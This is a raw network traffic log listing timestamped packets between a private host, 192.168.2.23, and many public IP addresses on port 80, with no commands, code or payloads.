Dec 3, 2024 21:01:55.701786995 CET	80	20129	138.100.40.61	192.168.2.23
Dec 3, 2024 21:01:55.701792955 CET	20129	80	192.168.2.23	94.26.209.129
Dec 3, 2024 21:01:55.701802015 CET	20129	80	192.168.2.23	100.225.2.20
Dec 3, 2024 21:01:55.701812029 CET	20129	80	192.168.2.23	102.100.178.74
Dec 3, 2024 21:01:55.701822042 CET	20129	80	192.168.2.23	138.100.40.61
Dec 3, 2024 21:01:55.702130079 CET	80	20129	151.64.26.185	192.168.2.23
Dec 3, 2024 21:01:55.702142000 CET	80	20129	80.113.136.104	192.168.2.23
Dec 3, 2024 21:01:55.702150106 CET	80	20129	143.33.103.162	192.168.2.23
Dec 3, 2024 21:01:55.702157974 CET	80	20129	179.234.179.102	192.168.2.23
Dec 3, 2024 21:01:55.702167988 CET	80	20129	165.20.167.166	192.168.2.23
Dec 3, 2024 21:01:55.702169895 CET	20129	80	192.168.2.23	151.64.26.185
Dec 3, 2024 21:01:55.702177048 CET	80	20129	108.106.234.2	192.168.2.23
Dec 3, 2024 21:01:55.702181101 CET	80	20129	17.120.150.73	192.168.2.23
Dec 3, 2024 21:01:55.702184916 CET	80	20129	112.7.123.108	192.168.2.23
Dec 3, 2024 21:01:55.702188969 CET	80	20129	198.108.138.28	192.168.2.23
Dec 3, 2024 21:01:55.702188969 CET	20129	80	192.168.2.23	143.33.103.162
Dec 3, 2024 21:01:55.702189922 CET	20129	80	192.168.2.23	80.113.136.104
Dec 3, 2024 21:01:55.702193022 CET	80	20129	105.231.111.99	192.168.2.23
Dec 3, 2024 21:01:55.702193975 CET	20129	80	192.168.2.23	179.234.179.102
Dec 3, 2024 21:01:55.702202082 CET	80	20129	120.23.203.242	192.168.2.23
Dec 3, 2024 21:01:55.702210903 CET	80	20129	143.32.69.188	192.168.2.23
Dec 3, 2024 21:01:55.702219963 CET	80	20129	86.76.122.231	192.168.2.23
Dec 3, 2024 21:01:55.702223063 CET	20129	80	192.168.2.23	108.106.234.2
Dec 3, 2024 21:01:55.702223063 CET	20129	80	192.168.2.23	17.120.150.73
Dec 3, 2024 21:01:55.702224016 CET	80	20129	83.62.67.21	192.168.2.23
Dec 3, 2024 21:01:55.702224970 CET	20129	80	192.168.2.23	165.20.167.166
Dec 3, 2024 21:01:55.702224970 CET	20129	80	192.168.2.23	198.108.138.28
Dec 3, 2024 21:01:55.702230930 CET	20129	80	192.168.2.23	112.7.123.108
Dec 3, 2024 21:01:55.702233076 CET	80	20129	101.251.255.14	192.168.2.23
Dec 3, 2024 21:01:55.702241898 CET	20129	80	192.168.2.23	105.231.111.99
Dec 3, 2024 21:01:55.702243090 CET	80	20129	61.126.130.121	192.168.2.23
Dec 3, 2024 21:01:55.702244043 CET	20129	80	192.168.2.23	120.23.203.242
Dec 3, 2024 21:01:55.702253103 CET	80	20129	85.148.157.178	192.168.2.23
Dec 3, 2024 21:01:55.702261925 CET	80	20129	67.20.26.138	192.168.2.23
Dec 3, 2024 21:01:55.702263117 CET	20129	80	192.168.2.23	83.62.67.21
Dec 3, 2024 21:01:55.702264071 CET	20129	80	192.168.2.23	143.32.69.188
Dec 3, 2024 21:01:55.702265978 CET	20129	80	192.168.2.23	86.76.122.231
Dec 3, 2024 21:01:55.702266932 CET	20129	80	192.168.2.23	101.251.255.14
Dec 3, 2024 21:01:55.702270985 CET	80	20129	189.55.66.110	192.168.2.23
Dec 3, 2024 21:01:55.702280045 CET	80	20129	118.127.47.157	192.168.2.23
Dec 3, 2024 21:01:55.702284098 CET	20129	80	192.168.2.23	61.126.130.121
Dec 3, 2024 21:01:55.702286959 CET	20129	80	192.168.2.23	85.148.157.178
Dec 3, 2024 21:01:55.702289104 CET	80	20129	207.163.177.210	192.168.2.23
Dec 3, 2024 21:01:55.702297926 CET	20129	80	192.168.2.23	67.20.26.138
Dec 3, 2024 21:01:55.702297926 CET	80	20129	121.85.174.172	192.168.2.23
Dec 3, 2024 21:01:55.702299118 CET	20129	80	192.168.2.23	189.55.66.110
Dec 3, 2024 21:01:55.702313900 CET	80	20129	91.50.208.184	192.168.2.23
Dec 3, 2024 21:01:55.702323914 CET	80	20129	155.46.19.43	192.168.2.23
Dec 3, 2024 21:01:55.702337027 CET	80	20129	58.187.178.192	192.168.2.23
Dec 3, 2024 21:01:55.702346087 CET	80	20129	69.93.51.203	192.168.2.23
Dec 3, 2024 21:01:55.702347994 CET	20129	80	192.168.2.23	118.127.47.157
Dec 3, 2024 21:01:55.702351093 CET	20129	80	192.168.2.23	155.46.19.43
Dec 3, 2024 21:01:55.702353954 CET	20129	80	192.168.2.23	121.85.174.172
Dec 3, 2024 21:01:55.702353954 CET	20129	80	192.168.2.23	207.163.177.210
Dec 3, 2024 21:01:55.702353954 CET	20129	80	192.168.2.23	91.50.208.184
Dec 3, 2024 21:01:55.702354908 CET	80	20129	205.150.84.134	192.168.2.23
Dec 3, 2024 21:01:55.702364922 CET	80	20129	50.193.151.244	192.168.2.23
Dec 3, 2024 21:01:55.702379942 CET	80	20129	104.214.45.245	192.168.2.23
Dec 3, 2024 21:01:55.702389002 CET	80	20129	90.241.173.79	192.168.2.23
Dec 3, 2024 21:01:55.702389002 CET	20129	80	192.168.2.23	58.187.178.192
Dec 3, 2024 21:01:55.702398062 CET	80	20129	62.164.203.104	192.168.2.23
Dec 3, 2024 21:01:55.702406883 CET	80	20129	86.30.227.81	192.168.2.23
Dec 3, 2024 21:01:55.702409983 CET	20129	80	192.168.2.23	50.193.151.244
Dec 3, 2024 21:01:55.702415943 CET	80	20129	50.45.208.112	192.168.2.23
Dec 3, 2024 21:01:55.702416897 CET	20129	80	192.168.2.23	69.93.51.203
Dec 3, 2024 21:01:55.702425957 CET	80	20129	60.124.37.138	192.168.2.23
Dec 3, 2024 21:01:55.702435970 CET	80	20129	176.98.125.166	192.168.2.23
Dec 3, 2024 21:01:55.702435970 CET	20129	80	192.168.2.23	205.150.84.134
Dec 3, 2024 21:01:55.702441931 CET	20129	80	192.168.2.23	104.214.45.245
Dec 3, 2024 21:01:55.702445984 CET	80	20129	43.136.224.42	192.168.2.23
Dec 3, 2024 21:01:55.702450037 CET	20129	80	192.168.2.23	50.45.208.112
Dec 3, 2024 21:01:55.702456951 CET	80	20129	81.134.100.6	192.168.2.23
Dec 3, 2024 21:01:55.702456951 CET	20129	80	192.168.2.23	90.241.173.79
Dec 3, 2024 21:01:55.702460051 CET	20129	80	192.168.2.23	62.164.203.104
Dec 3, 2024 21:01:55.702466011 CET	80	20129	59.121.205.122	192.168.2.23
Dec 3, 2024 21:01:55.702470064 CET	20129	80	192.168.2.23	176.98.125.166
Dec 3, 2024 21:01:55.702471972 CET	20129	80	192.168.2.23	86.30.227.81
Dec 3, 2024 21:01:55.702471972 CET	20129	80	192.168.2.23	60.124.37.138
Dec 3, 2024 21:01:55.702475071 CET	80	20129	114.168.161.153	192.168.2.23
Dec 3, 2024 21:01:55.702486038 CET	80	20129	68.241.59.165	192.168.2.23
Dec 3, 2024 21:01:55.702486992 CET	20129	80	192.168.2.23	43.136.224.42
Dec 3, 2024 21:01:55.702496052 CET	80	20129	1.189.236.65	192.168.2.23
Dec 3, 2024 21:01:55.702501059 CET	20129	80	192.168.2.23	81.134.100.6
Dec 3, 2024 21:01:55.702508926 CET	20129	80	192.168.2.23	59.121.205.122
Dec 3, 2024 21:01:55.702522039 CET	20129	80	192.168.2.23	68.241.59.165
Dec 3, 2024 21:01:55.702522993 CET	20129	80	192.168.2.23	114.168.161.153
Dec 3, 2024 21:01:55.702534914 CET	20129	80	192.168.2.23	1.189.236.65
Dec 3, 2024 21:01:55.702826023 CET	80	20129	179.40.55.42	192.168.2.23
Dec 3, 2024 21:01:55.702838898 CET	80	20129	111.173.42.44	192.168.2.23
Dec 3, 2024 21:01:55.702848911 CET	80	20129	197.28.140.13	192.168.2.23
Dec 3, 2024 21:01:55.702858925 CET	80	20129	37.68.185.140	192.168.2.23
Dec 3, 2024 21:01:55.702867031 CET	20129	80	192.168.2.23	179.40.55.42
Dec 3, 2024 21:01:55.702867985 CET	80	20129	144.184.198.5	192.168.2.23
Dec 3, 2024 21:01:55.702876091 CET	80	20129	223.150.125.32	192.168.2.23
Dec 3, 2024 21:01:55.702886105 CET	80	20129	156.12.32.222	192.168.2.23
Dec 3, 2024 21:01:55.702893019 CET	20129	80	192.168.2.23	37.68.185.140
Dec 3, 2024 21:01:55.702893972 CET	80	20129	67.58.143.89	192.168.2.23
Dec 3, 2024 21:01:55.702893972 CET	20129	80	192.168.2.23	111.173.42.44
Dec 3, 2024 21:01:55.702900887 CET	20129	80	192.168.2.23	144.184.198.5
Dec 3, 2024 21:01:55.702903032 CET	20129	80	192.168.2.23	197.28.140.13
Dec 3, 2024 21:01:55.702904940 CET	80	20129	183.184.9.118	192.168.2.23
Dec 3, 2024 21:01:55.702909946 CET	20129	80	192.168.2.23	223.150.125.32
Dec 3, 2024 21:01:55.702914953 CET	80	20129	162.188.43.82	192.168.2.23
Dec 3, 2024 21:01:55.702924013 CET	20129	80	192.168.2.23	156.12.32.222
Dec 3, 2024 21:01:55.702924967 CET	80	20129	137.37.57.217	192.168.2.23
Dec 3, 2024 21:01:55.702931881 CET	20129	80	192.168.2.23	67.58.143.89
Dec 3, 2024 21:01:55.702934980 CET	80	20129	38.92.127.184	192.168.2.23
Dec 3, 2024 21:01:55.702944994 CET	80	20129	69.225.214.188	192.168.2.23
Dec 3, 2024 21:01:55.702953100 CET	20129	80	192.168.2.23	183.184.9.118
Dec 3, 2024 21:01:55.702953100 CET	20129	80	192.168.2.23	137.37.57.217
Dec 3, 2024 21:01:55.702955008 CET	80	20129	170.177.135.135	192.168.2.23
Dec 3, 2024 21:01:55.702956915 CET	20129	80	192.168.2.23	162.188.43.82
Dec 3, 2024 21:01:55.702960014 CET	20129	80	192.168.2.23	38.92.127.184
Dec 3, 2024 21:01:55.702965021 CET	80	20129	49.16.203.115	192.168.2.23
Dec 3, 2024 21:01:55.702977896 CET	20129	80	192.168.2.23	69.225.214.188
Dec 3, 2024 21:01:55.702986956 CET	20129	80	192.168.2.23	170.177.135.135
Dec 3, 2024 21:01:55.703011990 CET	80	20129	31.239.193.162	192.168.2.23
Dec 3, 2024 21:01:55.703022003 CET	80	20129	104.235.253.68	192.168.2.23
Dec 3, 2024 21:01:55.703032017 CET	80	20129	196.137.154.25	192.168.2.23
Dec 3, 2024 21:01:55.703037024 CET	20129	80	192.168.2.23	31.239.193.162
Dec 3, 2024 21:01:55.703041077 CET	80	20129	96.164.95.242	192.168.2.23
Dec 3, 2024 21:01:55.703041077 CET	20129	80	192.168.2.23	49.16.203.115
Dec 3, 2024 21:01:55.703052998 CET	80	20129	34.94.226.142	192.168.2.23
Dec 3, 2024 21:01:55.703063011 CET	80	20129	57.212.159.136	192.168.2.23
Dec 3, 2024 21:01:55.703063011 CET	20129	80	192.168.2.23	196.137.154.25
Dec 3, 2024 21:01:55.703068018 CET	20129	80	192.168.2.23	104.235.253.68
Dec 3, 2024 21:01:55.703079939 CET	80	20129	155.78.185.218	192.168.2.23
Dec 3, 2024 21:01:55.703083992 CET	20129	80	192.168.2.23	96.164.95.242
Dec 3, 2024 21:01:55.703085899 CET	20129	80	192.168.2.23	34.94.226.142
Dec 3, 2024 21:01:55.703090906 CET	80	20129	18.153.58.25	192.168.2.23
Dec 3, 2024 21:01:55.703100920 CET	80	20129	187.55.190.60	192.168.2.23
Dec 3, 2024 21:01:55.703104019 CET	20129	80	192.168.2.23	155.78.185.218
Dec 3, 2024 21:01:55.703105927 CET	20129	80	192.168.2.23	57.212.159.136
Dec 3, 2024 21:01:55.703109980 CET	80	20129	12.41.124.11	192.168.2.23
Dec 3, 2024 21:01:55.703119993 CET	80	20129	103.157.88.57	192.168.2.23
Dec 3, 2024 21:01:55.703129053 CET	20129	80	192.168.2.23	18.153.58.25
Dec 3, 2024 21:01:55.703130007 CET	80	20129	137.17.188.195	192.168.2.23
Dec 3, 2024 21:01:55.703131914 CET	20129	80	192.168.2.23	187.55.190.60
Dec 3, 2024 21:01:55.703142881 CET	80	20129	120.131.94.121	192.168.2.23
Dec 3, 2024 21:01:55.703144073 CET	20129	80	192.168.2.23	12.41.124.11
Dec 3, 2024 21:01:55.703151941 CET	80	20129	146.101.13.85	192.168.2.23
Dec 3, 2024 21:01:55.703157902 CET	20129	80	192.168.2.23	103.157.88.57
Dec 3, 2024 21:01:55.703161001 CET	80	20129	99.169.90.96	192.168.2.23
Dec 3, 2024 21:01:55.703169107 CET	20129	80	192.168.2.23	137.17.188.195
Dec 3, 2024 21:01:55.703169107 CET	20129	80	192.168.2.23	120.131.94.121
Dec 3, 2024 21:01:55.703171015 CET	80	20129	117.108.88.116	192.168.2.23
Dec 3, 2024 21:01:55.703180075 CET	80	20129	34.211.171.237	192.168.2.23
Dec 3, 2024 21:01:55.703191042 CET	80	20129	36.33.53.13	192.168.2.23
Dec 3, 2024 21:01:55.703197002 CET	20129	80	192.168.2.23	146.101.13.85
Dec 3, 2024 21:01:55.703200102 CET	80	20129	58.142.18.180	192.168.2.23
Dec 3, 2024 21:01:55.703206062 CET	20129	80	192.168.2.23	99.169.90.96
Dec 3, 2024 21:01:55.703208923 CET	80	20129	87.146.139.8	192.168.2.23
Dec 3, 2024 21:01:55.703217983 CET	80	20129	181.31.221.188	192.168.2.23
Dec 3, 2024 21:01:55.703222036 CET	80	20129	59.74.63.254	192.168.2.23
Dec 3, 2024 21:01:55.703222990 CET	20129	80	192.168.2.23	117.108.88.116
Dec 3, 2024 21:01:55.703222990 CET	20129	80	192.168.2.23	36.33.53.13
Dec 3, 2024 21:01:55.703226089 CET	80	20129	205.65.89.152	192.168.2.23
Dec 3, 2024 21:01:55.703229904 CET	20129	80	192.168.2.23	34.211.171.237
Dec 3, 2024 21:01:55.703236103 CET	80	20129	152.20.100.217	192.168.2.23
Dec 3, 2024 21:01:55.703244925 CET	80	20129	218.247.66.9	192.168.2.23
Dec 3, 2024 21:01:55.703253984 CET	20129	80	192.168.2.23	87.146.139.8
Dec 3, 2024 21:01:55.703254938 CET	80	20129	220.9.254.48	192.168.2.23
Dec 3, 2024 21:01:55.703254938 CET	20129	80	192.168.2.23	58.142.18.180
Dec 3, 2024 21:01:55.703260899 CET	20129	80	192.168.2.23	59.74.63.254
Dec 3, 2024 21:01:55.703264952 CET	20129	80	192.168.2.23	181.31.221.188
Dec 3, 2024 21:01:55.703269958 CET	20129	80	192.168.2.23	205.65.89.152
Dec 3, 2024 21:01:55.703288078 CET	20129	80	192.168.2.23	152.20.100.217
Dec 3, 2024 21:01:55.703295946 CET	20129	80	192.168.2.23	218.247.66.9
Dec 3, 2024 21:01:55.703301907 CET	20129	80	192.168.2.23	220.9.254.48
Dec 3, 2024 21:01:55.703572035 CET	80	20129	98.47.5.199	192.168.2.23
Dec 3, 2024 21:01:55.703592062 CET	80	20129	2.193.168.246	192.168.2.23
Dec 3, 2024 21:01:55.703602076 CET	80	20129	208.157.132.100	192.168.2.23
Dec 3, 2024 21:01:55.703609943 CET	20129	80	192.168.2.23	98.47.5.199
Dec 3, 2024 21:01:55.703610897 CET	80	20129	142.253.51.200	192.168.2.23
Dec 3, 2024 21:01:55.703620911 CET	80	20129	133.43.248.123	192.168.2.23
Dec 3, 2024 21:01:55.703629971 CET	80	20129	97.2.155.55	192.168.2.23
Dec 3, 2024 21:01:55.703632116 CET	20129	80	192.168.2.23	2.193.168.246
Dec 3, 2024 21:01:55.703638077 CET	80	20129	163.62.211.82	192.168.2.23
Dec 3, 2024 21:01:55.703648090 CET	80	20129	64.217.185.172	192.168.2.23
Dec 3, 2024 21:01:55.703650951 CET	20129	80	192.168.2.23	142.253.51.200
Dec 3, 2024 21:01:55.703653097 CET	20129	80	192.168.2.23	133.43.248.123
Dec 3, 2024 21:01:55.703654051 CET	20129	80	192.168.2.23	208.157.132.100
Dec 3, 2024 21:01:55.703655958 CET	80	20129	134.30.157.84	192.168.2.23
Dec 3, 2024 21:01:55.703660965 CET	20129	80	192.168.2.23	97.2.155.55
Dec 3, 2024 21:01:55.703665972 CET	80	20129	158.190.179.26	192.168.2.23
Dec 3, 2024 21:01:55.703675032 CET	80	20129	119.193.67.6	192.168.2.23
Dec 3, 2024 21:01:55.703680038 CET	20129	80	192.168.2.23	163.62.211.82
Dec 3, 2024 21:01:55.703680992 CET	20129	80	192.168.2.23	134.30.157.84
Dec 3, 2024 21:01:55.703684092 CET	80	20129	100.173.178.155	192.168.2.23
Dec 3, 2024 21:01:55.703684092 CET	20129	80	192.168.2.23	64.217.185.172
Dec 3, 2024 21:01:55.703695059 CET	80	20129	84.138.110.2	192.168.2.23
Dec 3, 2024 21:01:55.703704119 CET	80	20129	218.197.219.7	192.168.2.23
Dec 3, 2024 21:01:55.703705072 CET	20129	80	192.168.2.23	158.190.179.26
Dec 3, 2024 21:01:55.703708887 CET	20129	80	192.168.2.23	119.193.67.6
Dec 3, 2024 21:01:55.703712940 CET	80	20129	128.15.217.229	192.168.2.23
Dec 3, 2024 21:01:55.703717947 CET	80	20129	68.224.119.195	192.168.2.23
Dec 3, 2024 21:01:55.703727007 CET	80	20129	76.126.115.133	192.168.2.23
Dec 3, 2024 21:01:55.703732967 CET	20129	80	192.168.2.23	84.138.110.2
Dec 3, 2024 21:01:55.703736067 CET	80	20129	164.122.229.237	192.168.2.23
Dec 3, 2024 21:01:55.703737020 CET	20129	80	192.168.2.23	100.173.178.155
Dec 3, 2024 21:01:55.703741074 CET	20129	80	192.168.2.23	218.197.219.7
Dec 3, 2024 21:01:55.703747034 CET	20129	80	192.168.2.23	128.15.217.229
Dec 3, 2024 21:01:55.703752995 CET	80	20129	24.162.219.21	192.168.2.23
Dec 3, 2024 21:01:55.703762054 CET	20129	80	192.168.2.23	68.224.119.195
Dec 3, 2024 21:01:55.703764915 CET	20129	80	192.168.2.23	164.122.229.237
Dec 3, 2024 21:01:55.703766108 CET	80	20129	217.41.223.181	192.168.2.23
Dec 3, 2024 21:01:55.703775883 CET	80	20129	61.231.26.88	192.168.2.23
Dec 3, 2024 21:01:55.703780890 CET	20129	80	192.168.2.23	76.126.115.133
Dec 3, 2024 21:01:55.703783989 CET	80	20129	139.138.64.255	192.168.2.23
Dec 3, 2024 21:01:55.703794003 CET	20129	80	192.168.2.23	24.162.219.21
Dec 3, 2024 21:01:55.703794003 CET	80	20129	213.42.77.42	192.168.2.23
Dec 3, 2024 21:01:55.703799009 CET	20129	80	192.168.2.23	217.41.223.181
Dec 3, 2024 21:01:55.703807116 CET	80	20129	213.95.86.111	192.168.2.23
Dec 3, 2024 21:01:55.703816891 CET	20129	80	192.168.2.23	61.231.26.88
Dec 3, 2024 21:01:55.703818083 CET	80	20129	149.60.126.242	192.168.2.23
Dec 3, 2024 21:01:55.703826904 CET	80	20129	168.229.72.110	192.168.2.23
Dec 3, 2024 21:01:55.703836918 CET	80	20129	2.169.22.210	192.168.2.23
Dec 3, 2024 21:01:55.703839064 CET	20129	80	192.168.2.23	139.138.64.255
Dec 3, 2024 21:01:55.703840017 CET	20129	80	192.168.2.23	213.95.86.111
Dec 3, 2024 21:01:55.703845978 CET	80	20129	203.99.65.105	192.168.2.23
Dec 3, 2024 21:01:55.703846931 CET	20129	80	192.168.2.23	213.42.77.42
Dec 3, 2024 21:01:55.703855038 CET	80	20129	90.62.185.38	192.168.2.23
Dec 3, 2024 21:01:55.703860044 CET	20129	80	192.168.2.23	149.60.126.242
Dec 3, 2024 21:01:55.703865051 CET	80	20129	151.146.128.104	192.168.2.23
Dec 3, 2024 21:01:55.703866005 CET	20129	80	192.168.2.23	168.229.72.110
Dec 3, 2024 21:01:55.703869104 CET	20129	80	192.168.2.23	2.169.22.210
Dec 3, 2024 21:01:55.703870058 CET	80	20129	146.94.85.111	192.168.2.23
Dec 3, 2024 21:01:55.703877926 CET	80	20129	91.131.67.55	192.168.2.23
Dec 3, 2024 21:01:55.703887939 CET	80	20129	12.82.130.98	192.168.2.23
Dec 3, 2024 21:01:55.703887939 CET	20129	80	192.168.2.23	203.99.65.105
Dec 3, 2024 21:01:55.703891993 CET	20129	80	192.168.2.23	151.146.128.104
Dec 3, 2024 21:01:55.703896046 CET	20129	80	192.168.2.23	90.62.185.38
Dec 3, 2024 21:01:55.703897953 CET	80	20129	78.242.249.220	192.168.2.23
Dec 3, 2024 21:01:55.703906059 CET	20129	80	192.168.2.23	146.94.85.111
Dec 3, 2024 21:01:55.703907967 CET	80	20129	208.34.72.224	192.168.2.23
Dec 3, 2024 21:01:55.703912973 CET	20129	80	192.168.2.23	91.131.67.55
Dec 3, 2024 21:01:55.703912973 CET	20129	80	192.168.2.23	12.82.130.98
Dec 3, 2024 21:01:55.703917980 CET	80	20129	108.189.223.89	192.168.2.23
Dec 3, 2024 21:01:55.703928947 CET	80	20129	20.42.134.138	192.168.2.23
Dec 3, 2024 21:01:55.703937054 CET	80	20129	171.120.46.94	192.168.2.23
Dec 3, 2024 21:01:55.703947067 CET	80	20129	164.104.133.14	192.168.2.23
Dec 3, 2024 21:01:55.703949928 CET	20129	80	192.168.2.23	208.34.72.224
Dec 3, 2024 21:01:55.703949928 CET	20129	80	192.168.2.23	78.242.249.220
Dec 3, 2024 21:01:55.703953981 CET	20129	80	192.168.2.23	108.189.223.89
Dec 3, 2024 21:01:55.703957081 CET	80	20129	130.42.205.200	192.168.2.23
Dec 3, 2024 21:01:55.703958035 CET	20129	80	192.168.2.23	20.42.134.138
Dec 3, 2024 21:01:55.703967094 CET	80	20129	142.34.23.72	192.168.2.23
Dec 3, 2024 21:01:55.703979969 CET	20129	80	192.168.2.23	171.120.46.94
Dec 3, 2024 21:01:55.703984022 CET	20129	80	192.168.2.23	164.104.133.14
Dec 3, 2024 21:01:55.703985929 CET	20129	80	192.168.2.23	130.42.205.200
Dec 3, 2024 21:01:55.704004049 CET	20129	80	192.168.2.23	142.34.23.72
Dec 3, 2024 21:01:55.704313040 CET	80	20129	94.136.69.215	192.168.2.23
Dec 3, 2024 21:01:55.704324961 CET	80	20129	52.58.78.65	192.168.2.23
Dec 3, 2024 21:01:55.704334974 CET	80	20129	84.178.230.37	192.168.2.23
Dec 3, 2024 21:01:55.704344034 CET	80	20129	205.224.65.61	192.168.2.23
Dec 3, 2024 21:01:55.704353094 CET	80	20129	132.225.77.22	192.168.2.23
Dec 3, 2024 21:01:55.704353094 CET	20129	80	192.168.2.23	94.136.69.215
Dec 3, 2024 21:01:55.704361916 CET	80	20129	93.253.138.94	192.168.2.23
Dec 3, 2024 21:01:55.704365015 CET	20129	80	192.168.2.23	84.178.230.37
Dec 3, 2024 21:01:55.704365015 CET	20129	80	192.168.2.23	52.58.78.65
Dec 3, 2024 21:01:55.704371929 CET	80	20129	201.219.244.114	192.168.2.23
Dec 3, 2024 21:01:55.704375982 CET	20129	80	192.168.2.23	205.224.65.61
Dec 3, 2024 21:01:55.704380989 CET	80	20129	130.253.172.186	192.168.2.23
Dec 3, 2024 21:01:55.704385996 CET	20129	80	192.168.2.23	132.225.77.22
Dec 3, 2024 21:01:55.704389095 CET	80	20129	72.165.209.185	192.168.2.23
Dec 3, 2024 21:01:55.704397917 CET	80	20129	24.172.12.238	192.168.2.23
Dec 3, 2024 21:01:55.704406977 CET	80	20129	174.51.207.210	192.168.2.23
Dec 3, 2024 21:01:55.704407930 CET	20129	80	192.168.2.23	201.219.244.114
Dec 3, 2024 21:01:55.704411030 CET	20129	80	192.168.2.23	93.253.138.94
Dec 3, 2024 21:01:55.704421043 CET	80	20129	195.225.193.153	192.168.2.23
Dec 3, 2024 21:01:55.704427004 CET	20129	80	192.168.2.23	130.253.172.186
Dec 3, 2024 21:01:55.704431057 CET	80	20129	77.63.247.137	192.168.2.23
Dec 3, 2024 21:01:55.704435110 CET	20129	80	192.168.2.23	72.165.209.185
Dec 3, 2024 21:01:55.704437971 CET	20129	80	192.168.2.23	24.172.12.238
Dec 3, 2024 21:01:55.704441071 CET	20129	80	192.168.2.23	174.51.207.210
Dec 3, 2024 21:01:55.704446077 CET	80	20129	92.79.178.58	192.168.2.23
Dec 3, 2024 21:01:55.704453945 CET	20129	80	192.168.2.23	195.225.193.153
Dec 3, 2024 21:01:55.704453945 CET	20129	80	192.168.2.23	77.63.247.137
Dec 3, 2024 21:01:55.704456091 CET	80	20129	155.87.254.174	192.168.2.23
Dec 3, 2024 21:01:55.704466105 CET	80	20129	9.99.154.119	192.168.2.23
Dec 3, 2024 21:01:55.704476118 CET	80	20129	180.139.192.220	192.168.2.23
Dec 3, 2024 21:01:55.704478025 CET	20129	80	192.168.2.23	92.79.178.58
Dec 3, 2024 21:01:55.704487085 CET	80	20129	181.0.23.48	192.168.2.23
Dec 3, 2024 21:01:55.704495907 CET	80	20129	86.52.155.229	192.168.2.23
Dec 3, 2024 21:01:55.704498053 CET	20129	80	192.168.2.23	155.87.254.174
Dec 3, 2024 21:01:55.704498053 CET	20129	80	192.168.2.23	9.99.154.119
Dec 3, 2024 21:01:55.704504967 CET	80	20129	126.236.109.211	192.168.2.23
Dec 3, 2024 21:01:55.704514027 CET	80	20129	199.100.232.5	192.168.2.23
Dec 3, 2024 21:01:55.704521894 CET	20129	80	192.168.2.23	180.139.192.220
Dec 3, 2024 21:01:55.704528093 CET	80	20129	91.37.212.29	192.168.2.23
Dec 3, 2024 21:01:55.704538107 CET	80	20129	158.146.67.96	192.168.2.23
Dec 3, 2024 21:01:55.704541922 CET	20129	80	192.168.2.23	126.236.109.211
Dec 3, 2024 21:01:55.704549074 CET	80	20129	186.24.35.1	192.168.2.23
Dec 3, 2024 21:01:55.704554081 CET	20129	80	192.168.2.23	181.0.23.48
Dec 3, 2024 21:01:55.704555988 CET	20129	80	192.168.2.23	86.52.155.229
Dec 3, 2024 21:01:55.704564095 CET	80	20129	179.152.23.142	192.168.2.23
Dec 3, 2024 21:01:55.704571009 CET	20129	80	192.168.2.23	91.37.212.29
Dec 3, 2024 21:01:55.704571009 CET	20129	80	192.168.2.23	199.100.232.5
Dec 3, 2024 21:01:55.704571009 CET	20129	80	192.168.2.23	158.146.67.96
Dec 3, 2024 21:01:55.704581976 CET	80	20129	73.123.175.6	192.168.2.23
Dec 3, 2024 21:01:55.704591036 CET	80	20129	141.251.187.87	192.168.2.23
Dec 3, 2024 21:01:55.704591990 CET	20129	80	192.168.2.23	186.24.35.1
Dec 3, 2024 21:01:55.704598904 CET	80	20129	87.150.200.183	192.168.2.23
Dec 3, 2024 21:01:55.704605103 CET	20129	80	192.168.2.23	179.152.23.142
Dec 3, 2024 21:01:55.704608917 CET	80	20129	181.236.198.150	192.168.2.23
Dec 3, 2024 21:01:55.704617023 CET	80	20129	80.75.8.169	192.168.2.23
Dec 3, 2024 21:01:55.704626083 CET	80	20129	112.63.174.94	192.168.2.23
Dec 3, 2024 21:01:55.704629898 CET	20129	80	192.168.2.23	73.123.175.6
Dec 3, 2024 21:01:55.704629898 CET	20129	80	192.168.2.23	181.236.198.150
Dec 3, 2024 21:01:55.704632998 CET	20129	80	192.168.2.23	141.251.187.87
Dec 3, 2024 21:01:55.704634905 CET	80	20129	43.165.77.118	192.168.2.23
Dec 3, 2024 21:01:55.704632998 CET	20129	80	192.168.2.23	87.150.200.183
Dec 3, 2024 21:01:55.704641104 CET	20129	80	192.168.2.23	80.75.8.169
Dec 3, 2024 21:01:55.704646111 CET	80	20129	169.4.231.142	192.168.2.23
Dec 3, 2024 21:01:55.704654932 CET	80	20129	85.140.199.17	192.168.2.23
Dec 3, 2024 21:01:55.704659939 CET	20129	80	192.168.2.23	112.63.174.94
Dec 3, 2024 21:01:55.704663992 CET	80	20129	218.137.150.3	192.168.2.23
Dec 3, 2024 21:01:55.704664946 CET	20129	80	192.168.2.23	43.165.77.118
Dec 3, 2024 21:01:55.704673052 CET	80	20129	110.170.140.246	192.168.2.23
Dec 3, 2024 21:01:55.704682112 CET	80	20129	188.253.196.6	192.168.2.23
Dec 3, 2024 21:01:55.704684973 CET	20129	80	192.168.2.23	169.4.231.142
Dec 3, 2024 21:01:55.704691887 CET	80	20129	115.121.105.144	192.168.2.23
Dec 3, 2024 21:01:55.704696894 CET	20129	80	192.168.2.23	85.140.199.17
Dec 3, 2024 21:01:55.704699993 CET	80	20129	143.94.205.249	192.168.2.23
Dec 3, 2024 21:01:55.704705954 CET	20129	80	192.168.2.23	218.137.150.3
Dec 3, 2024 21:01:55.704706907 CET	20129	80	192.168.2.23	110.170.140.246
Dec 3, 2024 21:01:55.704710007 CET	80	20129	62.239.107.99	192.168.2.23
Dec 3, 2024 21:01:55.704719067 CET	80	20129	111.133.66.50	192.168.2.23
Dec 3, 2024 21:01:55.704725027 CET	20129	80	192.168.2.23	115.121.105.144
Dec 3, 2024 21:01:55.704729080 CET	20129	80	192.168.2.23	188.253.196.6
Dec 3, 2024 21:01:55.704746962 CET	20129	80	192.168.2.23	62.239.107.99
Dec 3, 2024 21:01:55.704746962 CET	20129	80	192.168.2.23	111.133.66.50
Dec 3, 2024 21:01:55.704751968 CET	20129	80	192.168.2.23	143.94.205.249
Dec 3, 2024 21:01:55.705013037 CET	80	20129	90.157.17.111	192.168.2.23
Dec 3, 2024 21:01:55.705024958 CET	80	20129	97.86.104.172	192.168.2.23
Dec 3, 2024 21:01:55.705034971 CET	80	20129	177.182.144.246	192.168.2.23
Dec 3, 2024 21:01:55.705044985 CET	80	20129	66.50.62.26	192.168.2.23
Dec 3, 2024 21:01:55.705053091 CET	80	20129	204.97.213.112	192.168.2.23
Dec 3, 2024 21:01:55.705061913 CET	80	20129	89.185.236.188	192.168.2.23
Dec 3, 2024 21:01:55.705063105 CET	20129	80	192.168.2.23	90.157.17.111
